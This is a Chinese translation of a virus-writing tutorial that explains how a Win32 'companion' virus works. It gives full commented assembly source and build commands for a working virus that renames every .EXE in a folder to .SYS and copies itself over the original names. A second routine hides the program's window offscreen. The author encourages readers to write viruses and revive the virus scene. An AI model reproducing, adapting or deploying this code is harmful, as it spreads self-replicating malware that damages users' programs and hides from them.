譯者的話:
1. 因爲格式問題,本文需用“寫字板”打開才能正常閱讀
2. 本人只是翻譯他人文章,對任何人利用本文造成不良後果不負任何責任!
3. 以下,即原文開始:
朋友們好,
今天我在29A#6中讀到了Benny寫的一篇文章。它題目是“病毒界的現狀”。我對此進行了思考,而後我決然寫這
篇教程!因爲我想通過這個教程分享我所有的病毒知識。這個教程並不適於瞭解了本文所述更多內容更多的朋友,
但對於初學者和新手(像我)來說本文有益。是的,希望如此!當我的知識水平更進一步(下一步學習PE)後,我會
寫下全部所懂與大家分享。現在,教程開始,希望它對你有所幫助並能堅持看完它->你必須堅持!
+++++聲明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
你可以引用本文代碼,但如果你想....的話,我對你因本文造成的任何破壞不負任何責任!
我的母語不是英語,希望你能理解我話的意思.如果有任何建議可寫信至 [email][email protected][/email]
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.....................................................
. .
. 索引: _1_ : 什麼是伴侶病毒 .
. .
. _2_ : 伴侶病毒如何工作的 .
. .
. _3_ : 帶註釋的病毒例子 .
. .
. _4_ : 結束語 .
. .
. _666_ : 附加 [Fuck da Window] .
. .
.....................................................
*** _1_ : 什麼是伴侶病毒 ***
伴侶病毒不改變宿主程序的代碼,也沒有添加代碼,掛起或者其他任何動作。它僅僅是重命名宿主程序,然後把
自己複製爲宿主程序原來的文件名.當你運行程序時,病毒會首先運行,當它所有工作完成,才接着運行宿主程序
。你可以把宿主和病毒兩者的文件名都重命名回原先的文件名,這樣宿主程序就能恢復正常。下面給出全過程的原
理圖。
第一步:
/-------------\ /-----------\
| | | |
| Program.EXE | ;目標文件的 | Virus.EXE | ;我們必須瞭解病毒文件中的
| | ;原先文件名 | | ;API函數: GetCommandLineA
\-------------/ \-----------/
第二步:
/-------------\ /-----------\
| | | |
| Program.EXE | | Virus.EXE |
| | | |
\-------------/ \-----------/
|
|
複製爲
|
|
/-------------\
| |
| Program.SYS |
| |
\-------------/
第三步:
/-------------\ /-----------\
| | | |
| Program.EXE |<---------複製爲-----------| Virus.EXE |
| | | |
\-------------/ \-----------/
恢復方法:
刪除Program.EXE
把Program.SYS重命名回Program.EXE
所做就這些了...
*** _2_ : 伴侶病毒如何工作的 ***
1. 獲取病毒文件的文件名
2. 創建宿主文件的原先文件名
3. 在當前目錄搜索到第一個文件
4. 將目標文件複製爲另一個文件名
5. 把病毒文件複製爲目標文件的原先文件名
6. 搜索下一個文件->重複4. -->沒有其他文件 跳到7.
7. 運行宿主程序 (經過了步 2.)
8. 病毒退出
*** _3_ : 帶註釋的病毒例子 ***
理論夠充足了!讓我們看它怎麼工作...
編譯方法:
TASM32 /z /ml /m3 Goon,,;
TLINK32 -Tpe -c Goon,Goon,, import,lib
;-----cut----------------------------------------Goon.asm-----------------------------------
.386 ;386指令集
.model flat ;內存平坦模式
jumps ;TASM rulez
;+++++
; 你能理解,我想 :)
;+++++
extrn GetCommandLineA :PROC ;獲取病毒文件和宿主文件
extrn lstrcpyA :PROC ;複製字符串
extrn FindFirstFileA :PROC ;搜索當前目錄第一個匹配的文件
extrn FindNextFileA :PROC ;通過文件句柄搜索下一個文件
extrn CopyFileA :PROC ;複製文件 (往上看 _2_)
extrn CreateProcessA :PROC ;運行宿主
extrn ExitProcess :PROC ;退出病毒程序
;+++++
; 這裏,我們聲明必需的API函數
; 我想你能理解
;+++++
.data
Goon db ’Win32.Goon - Virus’,0
db ’Only a Example Code’,0
db ’by DiA/auXnet’,0
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)
;+++++
; 這是 Win32 Find data:
; 這裏保存關於目標文件的所有數據
; 我們僅僅對包含目標文件的名稱的"WFD_szFileName"
; 記住我們必須複製目標文件成另外一個文件名,
; 而把病毒複製成目標文件最先的文件名
;+++++
VirusFile db 260d dup (0)
HostFile db 260d dup (0)
HostCopy db 260d dup (0)
;+++++
; 這裏創建文件名的空間:病毒文件名,宿主文件名,
; 還有我們必須創建的文件名(從目標文件複製)
;+++++
FileMask db ’*.EXE’,0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
;+++++
; 包含我們必須搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 僅僅是爲了運行宿主 (不重要)
;+++++
.code
start:
;+++++
; ROCK ’N ROLL =)
;+++++
call GetCommandLineA
;+++++
; 這裏我們獲取包含正在運行的程序文件名的CommandLine
; (病毒文件 :). 現在,line 在eax了, 看下一步...
;+++++
inc eax ; fuck da "
push eax
push offset VirusFile
call lstrcpyA ;複製它
;+++++
; 爲什麼要’inc eax’???
; 因爲CommandLine類似這樣:"C:\LUCI\HELL.EXE" (包含 ")
; 我們不能運行,複製帶有"的程序,所以我們走到前面一個地方
; 它從eax複製到VirusFile
;+++++
mov esi,offset VirusFile ;now in esi
call GetPoint ;call a kewl procedure ;)
;+++++
; we must find da point to fuck the other "
; 讓我們看看...
;+++++
mov dword ptr [esi+4],00000000d ;清除它
;+++++
; 我們走到.EXE後面並清除"號
; ->現在我們得到完整funcional VirusFile
;+++++
push offset VirusFile
push offset HostFile
call lstrcpyA
;+++++
; 把文件名複製到HostFile, 這樣我們可以改變它並得到真的Host文件名 (.SYS)
; ...
;+++++
mov esi,offset HostFile
call GetPoint
;+++++
; 得到指針...
;+++++
mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’
;+++++
; 把它重命名爲 .SYS (last 4 letters with point)
; 現在我們得到HostFile, 可能運行宿主...
; ...但是等等! 我們必須感染文件!!!
;+++++
push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax ;保存句柄
;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask,請往上看...
; Call後Find Handle保存在eax中, FindNextFileA還要用到,我們保存它...
;+++++
FindNext:
test eax,eax ;還有文件?
jz RunHost ;如果沒有就跳到RunHost
;+++++
; 當eax是null,說明當前目錄裏沒有更多的文件可以被感染了
; 所有的文件都感染後就運行宿主
;+++++
push offset WFD_szFileName
push offset HostCopy
call lstrcpyA
;+++++
; 得制 WFD_szFileName 到 HostCopy 來重命名和複製它
;+++++
mov esi,offset HostCopy
call GetPoint
;+++++
; 得到指針來重命名文件名爲.SYS
; 稍後使用它複製原先的文件爲宿主文件
;+++++
mov dword ptr [esi],5359532Eh ; SYS.
;+++++
; 把它重命名爲 .SYS (last 4 letters)
; 現在我們做所以工作完成感染目標文件:
; 病毒文件名
; 原先文件名
; 重命名目標文件名
; rock ’n roll =)
;+++++
push 1 ;如果文件已存在就不復制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA
;+++++
; 現在我們複製.EXE文件爲.EXE文件,宿主文件在.sys
; 如果文件已經存在,我們就不要複製它,我們不能複製它兩次
;+++++
push 0 ;無條件複製
push offset WFD_szFileName
push offset VirusFile
call CopyFileA
;+++++
; 我們複製病毒爲目標.EXE文件
; 無條件複製,因爲我們不能有兩個宿主而沒有病毒
;+++++
push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
;+++++
; 你還記得我們保存FindHandle吧...
; 我們搜索更多的文件!
; 跳到FindNext並檢查更多的文件
;+++++
RunHost:
xor eax,eax ;null
push offset ProcessInfo ;這個,我們不感興趣
push offset StartupInfo ;...
push eax
push eax
push 00000010h ;創建進程
push eax
push eax
push eax
push offset HostFile
push offset HostFile ;運行它
call CreateProcessA
;+++++
; 記住我們重命名病文件爲宿主文件(.SYS), 現在我們通過這個名運行
;+++++
push 0
call ExitProcess
;+++++
; 所有這些做完,我們把控制交給宿主
;+++++
GetPoint:
cmp byte ptr [esi],’.’ ;point?
jz FoundPoint ;je return
inc esi ;scan next place
jmp GetPoint
FoundPoint:
ret ;return
;+++++
; at last the GetPoint procedure...
; scan for ’.’ and if found return to place where are called
;+++++
end start
;+++++
; 晚安
;+++++
;-----cut-----------------------------------------------------------------------------------
*** _4_ : 結束語 ***
嗯,教程完畢。現在你可以寫Win32伴侶病毒了。繼續寫代碼,不斷學習...讀Benny的文章,
你想堅持下去;)我們必須幫助病毒界在不久將來重放光芒!!!
向Benny/29A表示致謝- 是你用傑出的文章激發我寫下這篇教程
謝謝閱讀...
*** _666_ : 附加 [Fuck da Window] ***
下面給出一種隱藏病毒的簡單方法(你知道... 控制檯)
;-----cut-----FuckW.asm---------------------------------------------------------------------
.386
.model flat
jumps
;+++++
; bla bla bla
;+++++
extrn SetConsoleTitleA :PROC
extrn FindWindowA :PROC
extrn SetWindowPos :PROC
extrn Sleep :PROC
;+++++
; needed API’s from the FuckWindow procedure
;+++++
extrn MessageBoxA :PROC
extrn ExitProcess :PROC
;+++++
; 這裏是其他API
; 僅僅是顯示它在工作,還有退出
;+++++
.data
oTitle db ’Only to Show...’,0
oMsg db ’See you a Window in the Back?’,10,13
db ’No, thats good, hee?’,10,13
db ’ DiA /auXnet’,0
;+++++
; 僅僅是擺下姿態 ;)
;+++++
NewConsoleTitle db ’[ANVX]’,0
WindowHandle dd 0
;+++++
; 這裏是一個新的控制檯標題(任何你想的...)
; 還有WindowHandle,用來保存句柄
;+++++
.code
start:
;+++++
; 這是你掌握的...
;+++++
call FuckWindow
;+++++
; 我們調用這個函數,首先快速隱藏窗體
;+++++
push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA
push 0
call ExitProcess
;+++++
; 在這時寫下你的代碼,任何你想寫的...
;+++++
FuckWindow: ;函數
push offset NewConsoleTitle
call SetConsoleTitleA
;+++++
; 這裏是隱藏窗體的函數
; 首先我們認定一個新的控制檯標題,我們知道窗體必須隱藏
;+++++
call Sleep5 ;過程
;+++++
; 短短的休眠(5 mil sek)它能更好地工作
;+++++
push offset NewConsoleTitle
push 0
call FindWindowA
mov dword ptr [WindowHandle],eax ;句柄
;+++++
; 往上看!我們定義一個新的控制檯標題...
; 現在我們搜索窗體(NewConsoleTitle)並保存 WindowHandle
;+++++
call Sleep5
;+++++
; 休眠是很好的...
;+++++
push 0
push 1 ;窗體高度
push 1 ;窗體寬度
push 20000 ;Y
push 20000 ;X
push 0
push dword ptr [WindowHandle]
call SetWindowPos
ret
;+++++
; 通過SetWindowPos隱藏窗體
; 窗體的高和寬是1 (看不到了 :)
; 還有xy座標是20000 . 在屏幕外面了 =)
; 返回...
;+++++
Sleep5:
push 5
call Sleep
ret
;+++++
; 容易, sleep 5mil sek
; 返回...
;+++++
end start
;-----cut-----------------------------------------------------------------------------------
...編譯方法:
TASM32 /z /ml /m3 YourProc,,;
TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib
效果-> 現在不是一個"控制檯", 它運行在"窗體"下...
完畢。查看TASM說明!
祝你好運...
繼續寫代碼...
_________________
DiA /auXnet (c)02
_________________
怎麼編寫簡單的Win32伴侶病毒
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.